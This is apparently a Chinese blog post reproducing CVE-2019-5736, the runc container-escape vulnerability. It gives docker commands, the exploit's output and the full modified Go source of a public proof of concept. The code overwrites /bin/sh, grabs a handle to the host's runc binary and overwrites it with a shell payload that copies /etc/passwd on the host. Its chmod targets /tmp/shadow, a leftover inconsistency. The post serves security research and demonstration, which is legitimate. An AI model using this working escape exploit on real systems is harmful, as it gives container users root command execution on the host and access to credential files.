docker-runc主机逃逸漏洞复现:CVE-2019-5736

CVE-2019-5736是一个比较知名的runc漏洞,利用方式简单,危害很大,经常被拿来做云原生安全的攻击/防御演示。

我最近也研究了下这个漏洞的使用,研究的第一步首先是复现。

尝试了github上的示例: https://github.com/Frichetten/CVE-2019-5736-PoC , 这里对源码做了一些修改,在下面分享一下。

注意:ubuntu上安装的docker 18.06似乎已经打上了补丁,我手动编译了runc的1.0.0-rc5版本才成功复现。

复现方式:

在一个terminal里面:

1zhangwei@zhangwei-ubuntu-vm:~/program/gocode/src/github.com/Frichetten/CVE-2019-5736-PoC$ docker run -ti  -v $PWD/exploit:/exploit ubuntu:18.04 bash

另一个terminal内执行:

1$ docker exec -ti 5b28d7ab5083 /bin/sh

此时第一个terminal的打印:

1zhangwei@zhangwei-ubuntu-vm:~/program/gocode/src/github.com/Frichetten/CVE-2019-5736-PoC$ docker run -ti  -v $PWD/exploit:/exploit ubuntu:18.04 bash
2root@5b28d7ab5083:/# /exploit 
3[+] Overwritten /bin/sh successfully
4[+] Found the PID: 17
5[+] Successfully got the file handle
6[-]Failed to open /proc/self/fd/3: open /proc/self/fd/3: text file busy
7[+] Successfully got write handle &{0xc0000501e0}
8root@5b28d7ab5083:/# 

/tmp/下多了一个passwd文件。

Ubuntu下面没有原demo里使用的/etc/shadow文件,所以我修改成了/etc/passwd,会被copy到/tmp/目录下。

修改过的源码:

 1package main
 2
 3// Implementation of CVE-2019-5736
 4// Created with help from @singe, @_cablethief, and @feexd.
 5// This commit also helped a ton to understand the vuln
 6// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
 7import (
 8	"fmt"
 9	"io/ioutil"
10	"os"
11	"strconv"
12	"strings"
13	"time"
14)
15
16// This is the line of shell commands that will execute on the host
17var payload = "#!/bin/bash \n cat /etc/passwd > /tmp/passwd && chmod 777 /tmp/shadow"
18
19func main() {
20	// First we overwrite /bin/sh with the /proc/self/exe interpreter path
21	fd, err := os.Create("/bin/sh")
22	if err != nil {
23		fmt.Println(err)
24		return
25	}
26	fmt.Fprintln(fd, "#!/proc/self/exe")
27	err = fd.Close()
28	if err != nil {
29		fmt.Println(err)
30		return
31	}
32	fmt.Println("[+] Overwritten /bin/sh successfully")
33
34	// Loop through all processes to find one whose cmdline includes runcinit
35	// This will be the process created by runc
36	var found int
37	for found == 0 {
38		pids, err := ioutil.ReadDir("/proc")
39		if err != nil {
40			fmt.Println(err)
41			return
42		}
43		for _, f := range pids {
44			fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
45			fstring := string(fbytes)
46			if strings.Contains(fstring, "runc") {
47				fmt.Println("[+] Found the PID:", f.Name())
48				found, err = strconv.Atoi(f.Name())
49				if err != nil {
50					fmt.Println(err)
51					return
52				}
53			}
54		}
55	}
56
57	// We will use the pid to get a file handle for runc on the host.
58	var handleFd = -1
59	for handleFd == -1 {
60		// Note, you do not need to use the O_PATH flag for the exploit to work.
61		handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
62		if int(handle.Fd()) > 0 {
63			handleFd = int(handle.Fd())
64		}
65	}
66	fmt.Println("[+] Successfully got the file handle")
67
68	// Now that we have the file handle, lets write to the runc binary and overwrite it
69	// It will maintain it's executable flag
70	for {
71		writeHandle, err := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
72		if err != nil {
73			fmt.Printf("[-]Failed to open /proc/self/fd/%d: %v\n", handleFd, err)
74			time.Sleep(1 * time.Second)
75			continue
76		}
77		if int(writeHandle.Fd()) > 0 {
78			fmt.Println("[+] Successfully got write handle", writeHandle)
79			writeHandle.Write([]byte(payload))
80			return
81		}
82	}
83}